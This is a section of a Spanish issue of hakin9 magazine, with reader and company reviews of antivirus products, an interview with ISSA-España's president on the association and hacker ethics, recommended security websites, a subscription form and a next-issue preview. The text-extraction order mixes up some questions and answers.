DPI – Diseño de Programación e Integración. Desarrollamos software personalizado de gestión de oficinas, diseñamos páginas web optimizadas para buscadores y realizamos consultorías de software y hardware con soluciones de ahorro de costes mediante software libre. Usamos las ventajas de las nuevas tecnologías en beneficio de los negocios, aumentando la productividad de su empresa gracias a la informática.

¿El nombre del Antivirus y la empresa productora?

Linux: Cortamos el problema de raíz y no usamos Windows, que es la fuente del 99,999 de los virus. Además trabajamos con usuarios sin privilegios sobre la máquina y otras medidas básicas del sentido común que dificultan la propagación y la permanencia aun en el caso de producirse un problema de estos. Antivir XP: Si tenemos que hacer pruebas con Windows usamos Antivir XP de Avira.

¿Cuáles son los puntos más fuertes del Antivirus?

Linux: Al no tener, el ordenador nos va mas deprisa, y es una tarea menos en memoria haciendo cosas descontroladas. Antivir XP: Como el antivirus es ligero y molesta poco, haciendo su trabajo en silencio.

¿Y los débiles? ¿Hay algo que se debería cambiar o mejorar?

¿El precio y si está adecuado a los servicios ofrecidos por el producto?

Linux: No se puede mejorar. Antivir XP: Quitaría ese popup de publicidad. Que se pudiera desactivar mas características que realmente no necesitamos siempre en todos los equipos.

Linux: 0 €, si. Es adecuado. Antivir XP: 0 €, funciona bien. Últimamente abre un popup al día, lo que es muy molesto.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?

Linux: Si, no hemos tenido ningún problema. Antivir XP: Freeware, serio. Últimamente no tan serio con el detalle este del popup. Si tuviera que buscar otra vez quizás no lo elegiría.

¿El producto ha cumplido con sus expectativas?
Linux: Si. Antivir XP: Si, hasta estas ultimas actualizaciones donde ha aparecido publicidad molesta.

Linux: Si, pero solo a empresas que además cuenten con personal técnico. No usar el antivirus puede mandar el mensaje equivocado de que no hay que hacer nada, y podría ser catastrófico usado junto con Windows y usuarios no conscientes. Antivir XP: No, debido a los cambios a peor mencionados. Como empresa no estoy tan seguro, pues algunos de nosotros todavía lo preferimos a todos los demás. Especialmente al Norton, pues hemos visto máquinas destrozadas por virus y troyanos con el Norton impotente o indiferente. No es el único que hace que el ordenador vaya mas lento, mete problemas de compatibilidad pero no consigue su objetivo de proteger a los equipos.

Franciso José Gomez Rodríguez – Estudiante de Ingeniería Técnica en Informática de Gestión. Universidad Politécnica de Madrid Becario en Telefónica I+D . División de Arquitectura de Seguridad.

¿El nombre del Antivirus y la empresa productora?
AVG Free Edition – GRISOFT.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?

¿El precio y si está adecuado a los servicios ofrecidos por el producto?

Gratuito – Esta completamente adecuado a los servicios por supuesto.

Lo elegí por su trayectoria y por ser gratuito, considero que es suficientemente potente como para pretegerme y lo ha demostrado con el tiempo, apareciendo en los rackings por encima de otros programas de pago.

72

www.hakin9.org

Antivirus ¿El producto ha cumplido con sus expectativas?
un poco anticuado y eso a la gente no le gusta, a mi personalmente tampoco me molesta en exceso. A veces las actualizaciones fallan. Levanta demasiados procesos para el control del sistema. No se si la fiabilidad es total con un numero de procesos elevado.

Por supuesto ha estado siempre a la altura. Considero que es siempre ha respondido a mis necesidades y nunca ha dejado mi ordenador saturado. Escanea el correo entrante de forma rápida y eficaz.

¿Cuáles son los puntos más fuertes del Antivirus?

Es muy ligero en cuanto a consumo de recursos del sistema. Se actualiza todos los días. Los escaneos no son especialmente pesados. Escanea los archivos en tiempo real y en memoria casi ni se nota.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?

Creo que debería mejor en el aspecto de interfaz, esta

Lo recomiendo a cualquier persona que quiera un antivirus que no sea pesado para el sistema y que además sea capaz de protegerle con ciertas garantías. No olvidemos que paquetes completos de seguridad como el de Zone Alarm tienen grandes errores y son de pago. Se lo recomiendo a gente exigente que además sepa valorar el software libre.

Diego Rivero – Trabaja como administrador de sistemas y redes. Actualmente estudia Ingeniería Técnica, Informática de Sistemas.

¿El nombre del Antivirus y la empresa productora?

En primer lugar tengo que decir que utilizo los dos sistemas operativos como suele ser habitual, el consabido sistema del señor Puertas (Gates) por las circunstancias y Linux por devoción. En la actualidad y para mis PC de casa utilizo utilizo AVAST 4.7 en Güindo$ de la empresa Alwil software y para Linux en la actualidad no tengo aunque utilicé en su tiempo Panda para Linux. En mi trabajo la empresa utiliza McAfee VirusScan Enterprise en su versión 8.0i, ya que evidentemente trabaja con el omnipresente Window$.

que considero esenciales, que son la seguridad, la eficiencia y la velocidad de proceso. En mi modesta opinión creo que sí que la elección fue buena ya que como he dicho antes detecta de manera aceptable todo tipo de virus y otro software malintencionado. En definitiva me parece un buen antivirus. Respecto del antivirus que utiliza mi empresa el McAfee de momento está dando unos resultados muy buenos aunque en mi opinión su motor ralentiza el ordenador un poco, sobre todo si la máquina en la que se halla no es muy potente, mi primer ordenador se quedaba colgado cuando lo instalé, pero eso fue hace tiempo y era la versión para ordenador personal.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?

En mi caso, en mis pc de casa que utilizo Avast, si que es adecuado ya que utilizo la versión Home que es gratuita en esta empresa. Me explico, para mis ordenadores de casa y teniendo en cuenta el nivel de seguridad que necesito pienso que si es el más adecuado. Ofrece el escaneo en segundo plano, correo, etc., un buen nivel de Heurística y actualizaciones periódicas. En el caso de mi vida laboral con el McAfee todo va muy bien, tienes un antivirus y casi ni te enteras de que lo tienes. Su precio es 38$.

¿El producto ha cumplido con sus expectativas?

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?

Después de probar y analizar unos cuantos programas antivirus, al final suele ocurrir como en todos o casi todos los productos y no me refiero a únicamente a la informática ni al software, o sea que ni lo más caro es lo mejor y no más barato es lo peor. En mi caso particular me decidí por Avast por que era como se suele decir las tres b, bueno bonito y barato, ofreciendo un buen compromiso entre unos parámetros

Cuando lo instalé pensé que se trataba de uno más de los antivirus gratuitos que existen en el mercado, pero poco después me di cuenta de que era tan eficiente como el que más. No es que yo sea muy exigente pero me gusta saber que estoy protegido como cualquier hijo de vecino y respecto a los virus informáticos dicen que hay que ser un poco paranoico pues bueno, el antivirus cumple al cien por cien con mis expectativas ya que ni tengo los datos que tiene la NASA y los que me interesan procuro hacer copias de seguridad, así que pienso que me da la protección que necesito. Respecto del que utiliza mi empresa supongo que también cumple las expectativas ya que lo siguen utilizando desde hace tiempo y no hemos tenido problemas de seguridad importantes, al menos que se sepa.

¿Cuáles son los puntos más fuertes del Antivirus?

Como ya he dicho antes tiene muchas cosas a su favor, como pueden ser una buena velocidad de ejecución, protección en segundo plano, escaneo sobre la marcha de

www.hakin9.org

73

Test de consumidores
páginas web, protección residente y una interfaz simple, en la que no caben complicaciones. Creo que la velocidad de ejecución, las bibliotecas de virus que se actualizan muy periódicamente y el hecho de que no ralentiza el ordenador cuando se halla trabajando en modo residente son las mejores cualidades de este programa. McAfee es una de las empresas punteras en el mundo de los antivirus así que ¿Qué se puede decir de uno de los líderes?, pienso que lo mejor que se puede decir es que pasa desapercibido que no es poco y sólo te das cuenta cuando lo necesitas. mala si pensamos que cuando hay un virus si que nos salta la alarma, además muy sonora y avisándote de viva voz en español. Por otra parte también sería bueno que se mejorase la interfaz de usuario, la considero demasiado simple y espartana, aunque tiene lo necesario, debería ofrecer más opciones y siendo un poco más vistosa ganaría mucho.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?

Por supuesto que todo es susceptible de ser mejorado y en el caso de los antivirus siempre, pero como es natural lo que el consumidor final necesita es un buen compromiso entre la versatilidad, la seguridad y la fluidez. En el caso de Avast, pienso que su punto débil es el hecho de informes instantáneos cuando hacemos un escaner de un archivo en particular mediante el botón derecho del ratón, cosa que no es del todo

Por supuesto y de hecho lo hago a diario en mi trabajo, a los compañeros que me preguntan por un buen programa antivirus, pero claro para uso personal, en los ordenadores de casa, ya que para el uso en una empresa yo emplearía una suite de protección que englobase otros múltiples parámetros y dando por supuesto que se realizan copias de seguridad de los datos que sean susceptibles de ser protegidos especialmente además de mantenerlos en lugares a los que el acceso sea lo más restringido posible y con una política de contraseñas adecuada. Todo depende de lo paranoico que sea uno respecto de la seguridad y los datos que tengamos almacenados.

José Carlos de Arriba Rodríguez, estudiante de 4º año de Ingeniería Informática. Contacto: josecarlosdear@hotmail.com.

¿El nombre del Antivirus y la empresa productora?

Sin duda alguna, Kaspersky Anti-Virus, de la empresa Kaspersky Lab.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?

de archivos y la monitorización de los procesos en memoria. No me podría olvidar de la facilidad, calidad y rapidez de las actualizaciones de las bases de virus. La tasa de falsos positivos es extraordinariamente baja, sin aumentar con ello la tasa de falsos negativos.

Precio oficial de la versión Kaspersky Anti-Virus 6.0 Professional: 40€, me parece perfectamente adecuado a las características y servicios que nos ofrece el Anti-Virus, lo que se traduce en una más que aceptable relación calidad-precio.

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?

Creo que la mayor difusión y publicidad de los AV es por el método de boca en boca, especialmente en foros. Después de leer comparativas y opiniones sobre diferentes antivirus decidí probar este producto. Pese a que se le tachaba de un alto consumo de recursos, las opiniones sobre su calidad y eficacia me hicieron decidirme por probarlo.

¿El producto ha cumplido con sus expectativas?

Todo se resume en que a día de hoy, desde que lo probé nunca he tenido la menor intención de usar ningún otro software AV en mi ordenador personal, pese a que si haya hecho pruebas con otros con el único fin de valorarlos.

Creo que las mayores críticas de Kaspersky es por el alto comsumo de recursos, pero yo creo que la relación consumo-eficacia es mucho más que proporcional, y el consumo de recursos prácticamente es impercidible por un usuario con un PC de calidad media. Si quizás pueda notarse en ordenadores un poco antiguos, pero lo que si está claro que para la eficiencia en la monitorizacion a tiempo real y éxito en las detecciones un pequeño precio hay que pagar. Por mi parte mejoraría el método de gestión de la exclusión de archivos/carpetas para el análisis y por supuesto la que parece ser la espina clavada: el estar por detrás de NOD32 en el gran trabajo que han realizado sobre la heurística. Otra de las cosas a mejorar creo que sería la protección activa sobre las modificaciones no autorizadas en el registro del sistema y algo que creo a día de hoy es la pesadilla de todos los anti-virus, que no es otra que la detección de archivos maliciosos cuando estos están encriptados.

¿Cuáles son los puntos más fuertes del Antivirus?

¿Recomendaría este producto a otras personas? ¿A quién especialmente?

En mi opinión el gran punto fuerte de Kaspersky reside en sus monitorizaciones en tiempo real, tanto sobre el protocolo HTTP en tráfico de Internet, el control sobre el sistema

Creo que este producto es recomendado para todos los usuarios de un ordenador personal, exceptuando aquellos que posean una máquina de muy bajas prestaciones, a los que recomendaría NOD32 por el menor consumo de recursos.

74

www.hakin9.org

SUSCRIPCIÓN PRO
Más información: es@hakin9.org ; tel.: 00 48 22 887-13-45 Hay algo que me llama la atención, y es que parece que en cuanto a la elección y cantidad de uso de los distintos antivirus se pueden apreciar claramente dos sectore: mientras que en usuarios de nivel medio-bajo la antigüedad y nombre de productos como McAfee, Panda o Norton les da una clara ventaja, los usuarios de nivel medio-alto se decantan claramente por NOD32 o el propio Kaspersky. Creo que poco a poco tanto NOD32 como Kaspersky irán ganando cuota de mercado en el primer sector. TECNOZERO es una empresa madrileña dedicada a prestación de servicios informáticos y también a la implantación y desarollo ode nuevas tecnologías para las pymes. Ofrece servicios de asesoramiento, mantenimiento informático, hosting, diseño Web, equipamiento y seguridad informática.

I-SEC Information Security Inc.

Somos una Empresa dedicada y comprometida íntegramente con la Seguridad de la Información. Nuestros Servicios se adaptan a la estructura de su empresa, recomendándole qué es lo mejor para su crecimiento. Contacto: www.i-sec.org

Ártica Soluciones Tecnológicas

¿El nombre del Antivirus y la empresa productora?

Depende de si es servidor o estación de trabajo, y en el caso de tratarse de un servidor depende de su función en la red. Por destacar uno Panda Web Admin Antivirus de la compañía Panda Software.

Ártica es una empresa de consultoría de capital nacional formada por profesionales con experiencia en el mundo de las Tecnologías de Información. Nuestro ámbito de actuación está centrado en diversos sectores: industria, banca, proveedores de Internet, y telecomunicaciones. Contacto: http://www.artica.es

Flagsolutions

¿El precio y si está adecuado a los servicios ofrecidos por el producto?

Entorno a los 240 € por actualizaciones durante 2 años. Sí considero que es un importe razonable.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?
Administración web, buen soporte técnico y precio.

FLAG solutions es una consultoría tecnológica que se apoya en 4 pilares básicos:la seguridad informática, la ingeniería de sistemas, el diseño corporativo y la formación especializada para empresas. Proporcionamos soluciones rentables tanto para la pequeña como para la grande empresa. Contacto: www.flagsolutions.net

¿El producto ha cumplido con sus expectativas?

Ecija Consulting

En mi opinión hay poca diferencia entre las compañías antivirus, puesto que los servicios que ofrecen son casi idénticos. Creo que la elección entre una y otra compañía se basan exclusivamente en las experiencias que se han tenido con las versiones anteriores. El producto responde como es de esperar, por lo que si lo considero como una buena elección.

Somos una consultora IT líder en asesoramiento integral de empresas. Nuestro equipo formado por abogados, consultores y técnicos, nos ha permitido especializarnos en el campo de la seguridad informática, aportando a nuestras soluciones el valor añadido del conocimiento de la materia desde el punto de vista jurídico. Contacto: www.ecija.com, buzon@ecija.com

¿Cuáles son los puntos más fuertes del Antivirus?

Administración desatendida, vía web y centralizada.

Seguridad0

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?

El ralentizamiento general del sistema, tras implantar un antivirus. No cre que sea específico de este producto en concreto, sino común a este tipo de software. Además de esto está el hecho de que cada año aproximadamente hay que cambiar el producto por uno nuevo, que en esencia es exactamente igual pero con un más bonito.

Seguridad0 es una empresa española dedicada a la distribución de productos de seguridad informática y la formación. Más información en su web corporativa: www.seguridad0.es. Cuentan con una web dedicada a la divulgación de noticias de seguridad informática: www.seguridad0.com

¿Recomendaría este producto a otras personas? ¿A quién especialmente?

Kinetic Solutions

Si. Administradores de pequeñas redes que deseen centralizar su solución antivirus de manera simple y económica. l

Empresa especializada en implantación de soluciones de seguridad informática con valor agregado, brindamos servicios profesionales de protección y detección a intrusiones informáticas. Somos especialistas en diferentes materias de seguridad de la información para atender a nuestros clientes de organizaciones privadas y gubernamentales en España y Sudamérica. Contacto: info@kineticsl.com

Entrevista

Entrevistamos a Fernando Bahamonde, Presidente de ISSA-España
Hablamos con Fernando Bahamonde, Presidente de ISSAEspaña, que nos presenta el ámbito de actuación de esta organización internacional, nos cuenta sobre hacking y ajedrez, sobre el mito de ser hacker que no pierde su actualidad y muchas cosas más...
Fernando Bahamonde

hakin9: ¿Cómo conoció ISSA? ¿Cuál fue su primer contacto con esta organización? ¿Qué es lo que más le ha atraído a ISSA? Fernando Bahamonde: A principios del 2002 un colega de los EE.UU me comentó algo acerca de la asociación pero, por desgracia, mi tiempo disponible en esos momentos como siempre en este mundo, era escaso y muy limitado. Sin embargo, a finales del mismo año retomé el tema y me encontré que en aquel momento no existía ninguna asociación que abarcase a los profesionales del campo de la seguridad en las tecnologías de información en España, y ver que no estaba formalizado ningún capítulo de dicha asociación en España, me puse en contacto con ellos para ver si cabía la posibilidad de crear un capítulo nacional que aglutinase a todas las personas del sector y pudiesen tener un foro común, en aquel momento éramos tres personas diferentes las que estábamos interesados en la creación del capítulo en España, así que nos pusieron en contacto y juntando a algunos amigos y conocidos llevamos adelante la creación del capítulo Español, fundando la Asociación Española para la Seguridad en los Sistemas de Información, para posteriormente ser reconocidos como capítulo Español de ISSA Internacional.

En mi opinión el principal atractivo de ISSAEspaña es que se trata de una asociación independiente, en la que tienen cabida todos los profesionales y personas involucradas dentro del área de la seguridad, desde Chief Security Officers de empresas a estudiosos del campo de la seguridad, teniendo además la gran ventaja de que entre los socios actuales existe una gran representación de todos los campos que abarca este mundo, desde personas especializadas en criptografía a personas dedicadas a la seguridad casi física. Lo cual supone un gran atractivo de cara al enriquecimiento común, ya que no solo nos centramos en un área específica, sino que concebimos la seguridad como un entorno global que afecta a todas las áreas de negocio y de los procesos. Como ejemplo yo siempre pongo el mismo ¿De qué vale un firewall si alguien puede entrar en el CPD y llevarse una copia de seguridad?, por ello es evidente que una composición multidisciplinar en una asociación como la nuestra es algo fundamental. h9: ¿Podría decirnos algo sobre ISSA-España? ¿Qué tipo de organización es? ¿A qué se dedica principalmente ? ¿Qué tipo de eventos organiza?

76

www.hakin9.org

Entrevista a Fernando Bahamonde

F.B.: ISSA-España podría englobarse en dos puntos, por una parte es una asociación sin animo de lucro y por otra es una asociación que aglutina a los profesionales del sector, por ello estamos ante dos planteamientos similares pero no excluyentes uno de otro. En cuanto al funcionamiento interno, somos una organización con una estructura básicamente plana, donde existe (a mi apreciación, quizás pueda ser mejorable) una excelente interacción entre asociados y la junta directiva. El ámbito de actuación de ISSA-España, al igual que su orientación, puede enclavarse en dos ejes principales, por una parte nos encontraríamos con la concienciación y estudio de diferentes ámbitos y escenarios de la seguridad. Y por otra, la formación continua y networking de nuestros asociados, ya que por el momento contamos con medios de comunicación bastante fluidos entre ellos, pero estamos desarrollando nuevas vías y métodos de intercorrelación entre los asociados, para que exista un mayor eje de debate y comunicación entre ellos y sus áreas de interés. Nuestra asociación no esta formalmente relacionada con una certificación profesional como otras asociaciones similares, aunque en nuestras acciones se encuentra la certificación dentro de estas, dado que la actual tendencia de mercado es la solicitud de ellas para los distintos puestos dentro de las áreas de seguridad y en los distintos proyectos que aparecen en el mercado. Nuestra política de eventos se ha modificado un poco con respecto a años anteriores, pero nos centramos en distintas áreas. Las cuales podríamos englobar en tres tipos distintos: Eventos de difusión, como los organizados dentro del DISI (Día Internacional de la Seguridad de Información) o en INFOSECURITY, eventos de claro contenido de difusión y concienciación dentro de distintas áreas, enfocados a todas las áreas y sectores, con un especial foco

en los responsables de seguridad de organizaciones y empresas. Eventos de formación propios. En esta área comenzamos en este año y prevemos presentar en breve un calendario de eventos de formación esponsorizados por ISSA-España orientados a sus miembros y con acceso a terceros. Eventos de formación de terceros. Eventos de formación facilitados por terceras empresas en los cuales los miembros de ISSA-España tienen interesantes ventajas. h9: ¿En el mundo de la Seguridad Informática hay mucha demanda de eventos de este tipo? Principalmente,¿quién participa en ellos? F.B.: Actualmente existen diferentes programas de formación, pero basados básicamente en programas de postgrado o bien en certificaciones profesionales, así como eventos puntuales independientes u organizados por fabricantes. Pero bien, es cierto que el mercado demanda cada vez mas eventos de formación e información cada vez mas profesionalizados. En la actualidad tenemos básicamente tres tipos de perfiles de asistentes a los eventos de seguridad, en primer lugar nos encontramos con personal de dirección y ejecutivo que buscan conocer de primera mano los últimos adelantos en la materia, las nuevas amenazas y sus soluciones, un público exigente en cuanto a la calidad de la información facilitada y con un enfoque puro de negocio. En segundo lugar nos encontramos a personal de departamentos de TI que persiguen vías de mejora en sus procesos y desarrollos, con un perfil técnico elevado, con problemas y cuestiones concretas, y en tercer lugar nos encontramos a personas que están trabajando en el área de las TI, pero sin dedicación al área de seguridad y estudiantes que buscan ampliar sus conocimientos los cuales demandan conocimiento y muchas veces un foro donde discutir sus ideas.

Figura 1. Página oficial de ISSA-SPAIN

Figura 2. Página oficial de ISSA-SPAIN

www.hakin9.org

77

Entrevista

h9: ¿ISSA-España coopera también con otras organizaciones españolas que actúan dentro del campo de la seguridad informática? F.B.: ISSA-España colabora con distintas asociaciones y entidades en la búsqueda de la mejora del campo de la seguridad, nuestra colaboración comprende desde el simple soporte y ayuda en el desarrollo de la seguridad en todos los ámbitos a la creación de comisiones y mesas de trabajo sobre problemáticas concretas, no cerramos nunca las puertas a colaboraciones e iniciativas encaminadas dentro del área de la seguridad. Nuestro afán como asociación profesional, busca también la colaboración con otras asociaciones similares y buscamos siempre que estas sean de beneficio tanto para nuestros asociados como para el público en general. h9: ¿Podría contarnos algo sobre los planos de ISSA-España para el año 2007? ¿Cuáles van a ser sus iniciativas más importantes? ¿Qué objetivos se han marcado a alcanzar? F.B.: En Diciciembre del año pasado, abordé la presidencia de ISSA-España con un programa claro y para mi de obligado cumplimiento, con en el cual se pretende que la asociación tenga un papel más activo dentro de la comunidad de la seguridad informática, con proyectos de formación, desarrollo y concienciación que iremos desarrollando a lo largo de este año, sin descuidar en ningún momento las demás labores de la asociación, como el networking (el cual es muy necesario en esta actividad, dado que no somos muchos los actores involucrados y opino que debemos tener un espacio mutuo de relación), las relaciones con los demás capítulos internacionales, dado que ello nos aportará otros puntos de vista a los problemas que actualmente sufrimos en nuestro área a nivel nacional, y sobre todo tener un punto común de conexión entre aquellos que trabajamos, estudiamos e investigamos en este área. Como iniciativa más importante en este momento estamos planteando la creación de una mesa de trabajo entre los profesionales de un sector específico, para juntar en una misma mesa a diferentes partes y enfocar los problemas de ese sector, iniciativa que pensamos abordar con distintos sectores de la industria y economía. h9: ¿En su opinión hoy en día hay más asociaciones que reúnen a hackers, en el sentido tradicional de esta palabra, o asociaciones del tipo de ISSA? ¿Cuál es la relación entre ellas? ¿Son dos mundos diferentes o más bien realidades que se entrelazan? F.B.: Es evidente que buscado en el underground nos encontramos con muchos grupos hackers, pero no los veo como grupos asociativos como puede ser ISSA-España, sino que mas bien son núcleos de gente con inquietudes similares que se reúnen para intercambiar conocimiento, numéricamente evidentemente son mucho más numerosas que las asociaciones de profesionales de la seguridad informática (aunque muchos de los anteriores acaban recalando en asociaciones profesionales).

Bajo mi punto de vista todos somos hackers, pues nos puede la investigación y la curiosidad en muchos aspectos, evidentemente son numerosas las denominadas asociaciones o grupos hacker, pero se han de diferenciar de aquellos grupos que buscan aspectos lucrativos por la vía maliciosa. Evidentemente las barreras entre el mundo de la seguridad informática y el uso de los conocimientos para la comisión de delitos es muy marcada. Claro está que el profesional ha de gestionar la seguridad de los sistemas y para ello evidentemente ha de conocer sus amenazas y riesgos, ¿si no qué gestionaría? Si estuviésemos en un mundo perfecto, no sería necesario el uso de sistemas de protección, yo calificaría siempre que son mundos superpuestos, en los que los maliciosos han cruzado una línea ética y moral de difícil vuelta atrás, que en ocasiones les puede lastrar y ocasionar problemas, y otros que usamos los conocimientos para un bien y beneficio común. No obstante, hoy en día a mi opinión se ha de hablar de mafias del cibercrimen cuando nos referimos a amenazas altamente peligrosas. La gente con ética y moral no traspasa la barrera. h9: ¿Usted mismo en algún momento de su vida se consideraba hacker? ¿Cree Usted que la magia de ser hacker es muy fuerte entre los profesionales de seguridad informática? Hay muchos profesionales que guardan el espíritu del hacker durante toda la vida o en general es una aventura de juventud? F.B.: Quien diga que no que levante la mano, pero no creo que NADIE en algún momento haya tenido su momento de hacker en mayor o menor medida, pero siempre ha sentido curiosidad por algo y lo ha investigado, si no difícilmente puede tener el pensamiento y la capacidad necesaria para determinar un grado de seguridad. Para mi opinión la denominación hacker hace más referencia a una forma de pensar y a una visión, no es un patrón de acción malicioso por necesidad, sino una forma y actitud frente al conocimiento, que no ha de ser peyorativo ni de una actitud ilegal. Realmente creo que con el tiempo vas teniendo otras perspectivas, pero siempre prevalece ese espíritu (necesario en los que administran y revisan la seguridad) de conocer más allá de los límites preestablecidos y pensar como tu posible contrincante. Mal comparado esto es como el ajedrez, tienes que adivinar el movimiento del contrario. Es por ello por lo que siempre un profesional perfecto de este área ha de estar actualizado y disponer de una visión en muchos casos de 360º, ya que ha de conocer a que se enfrenta y cuales son las posibles amenazas que ha de gestionar. Por desgracia muchas veces esa focalización es imposible, por lo cual nunca puede existir un experto en seguridad integral, no se puede estar permanentemente estudiando y a la vez trabajando, por lo cual se pierde esa visión total y se produce una parcelización o más bien llamémosle especialización en áreas determinadas. l

78

www.hakin9.org

Páginas recomendadas

Una especie de portal para la gente a que le gusta la informática y la seguridad. Si te gusta este mundo, te gustará elhacker.net. http://www.elhacker.net

CyruxNET – allí encontrarás la información detallada sobre las técnicas hack más populares. http://www.cyruxnet.org

Sitio de noticias que brinda la más variada información en cuanto al mundo de los móviles, enlaces, contactos, y mucho más. www.diginota.com

Un lugar de encuentro para todos interesados en temas de seguridad www.daboweb.com

Hack Hispano, comunidad de usuarios en la que se tratan temas de actualidad sobre nuevas tecnologías, Internet y seguridad informática. http://www.hackhispano.com

Un espacio libre para compartir: descargas, software, programas oscuros, dudas, noticias, trucos... y más cosas a ritmo de blues. http://www.viejoblues.com

Aquí encontrarás todo lo que debes saber www.segu-info.com.ar

Tecnología, informática e Internet. Allí encontrarás enlaces, foros, fondos de escritorio y una biblioteca repleta de artículos interesantes... http://www.hispabyte.net

Indaya teaM fue creada por un grupo de personas amantes de la informática para ayudar a todos los que se interesan por la informática. http://www.indaya.com

Web especializada en artículos técnicos sobre Linux. Aquí encontrarás las últimas noticias sobre Linux y Software Libre, foros. www.diariolinux.com

Seguridad0 es un magazine gratuito de seguridad informática. Tiene una periodicidad semanal, aunque se anaden noticias a diario. http://www.seguridad0.com

DelitosInformaticos.com revista digital de información legal sobre nuevas tecnologías. www.delitosinformaticos.com

Páginas recomendadas
Si tienes una página web interesante y quieres que la presentemos en nuestra sección de “Páginas recomendadas” contáctanos: es@hakin9.org

www.buyitpress.com
¡Suscríbete a tus revistas favoritas y pide los números atrasados!

¡Regalos para nuevos suscriptores!

Ahora te puedes suscribir a tus revistas preferidas en tan sólo un momento y de manera segura. Te garantizamos: • precios preferibles, • pago en línea, • rapidez en atender tu pedido. ¡Suscripción segura a todas las revistas de Software-Wydawnictwo!

Pedido de suscripción
Por favor, rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o., Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl
Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................

Dirección .............................................................................................................................................................................................................................. C.P. .............................................................................................................. Teléfono ..................................................................................................... Población .................................................................................................... Fax ...............................................................................................................

Suscripción a partir del No ................................................................................................................................................................................................... e-mail (para poder recibir la factura) .................................................................................................................................................................................. o Renovación automática de la suscripción

Título
Linux+DVD (2 DVD’s) Mensual con dos DVDs dedicado a Linux Hakin9 – ¿cómo defenderse? (1 CD) Mensual para las personas que se interesan por la seguridad de sistemas informáticos Linux+Pack (2 o 3 DVD’s) Las distribuciones de Linux más populares MSCoder (1 CD) Independent magazine for developers using Microsoft platforms

número de ejemplares al año

número de suscripciones

a partir del número

Precio

12

69 €

12

69 €

8

65 €

6

38 €

En total

Realizo el pago con:

□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO

CVC Code

□ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO
Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:

Válida hasta

hakin9 24
Próximo número

En el número siguiente, entre otros:

Securización de aplicaciones PHP
Defensa

En este artículo, muy práctico y de una gran importancia para todas las personas que hacen aplicaciones PHP, aprenderéis como escribir código seguro y hacer seguro código antiguo. En el artículo preparado por los especialistas de la empresa DPI - Diseño Programación e Integración, encontraréis una buena información sobre este tema tan importante e infelizmente poco averiguado. El objetivo principal de este texto práctico y a la misma vez divertido, es hacer los programadores principiantes de PHP tener un poco más cuidado y pensar en términos de seguridad.

Ataques DoS en redes WiFi
Ataqve

El artículo describirá mediante ejemplos prácticos y teoría los diversos ataques de denegación de servicio existentes en las redes 802.11 así como las posibles soluciones que ayuden a mitigar dichos ataques respectivamente. El lector conocerá la diversidad de ataques DoS existentes en las redes WiFi, así como las herramientas de las que dispone un atacante para llevar dichos ataques. También aprenderás las diversas contramedidas que se podrían utilizar para mitigar los efectos en cada caso.

Introducción a Single Sign-on
Defensa

A medida que la World Wide Web ha ido creciendo, tanto en Internet como en las redes institucionales privadas, ha surgido un problema colateral asociado al acceso restringido a recursos situados dentro de esas redes. Si al comienzo de los años 90 lo realmente importante era realizar páginas web con contenido y enlaces de interés, en la actualidad esto se da por supuesto, y se empieza a pensar en acceder a contenidos situados dentro de redes privadas o en plataformas software instaladas en dichas subredes, cuyo acceso debe ser por lo general limitado de algún modo. Lo mismo ocurre en empresas en las que se ofrecen varios servicios software con identificación. La solución ideal para integrar la autenticación de todos estos servicios en uno se conoce como "single sign-on", y en este artículo veremos en qué consiste.

En CD:
• • • •

Hakin9.live: distribución bootable de Linux tutoriales: ejercicios prácticos de los problemas tratados en los artículos documentación adicional versiones completas de aplicaciones comerciales

Información actual sobre el próximo número – http://www.hakin9.org/es El número está a la venta desde principios de Mayo de 2007.
La redacción se reserva el derecho a cambiar el contenido de la revista.

Sign up to vote on this title
UsefulNot useful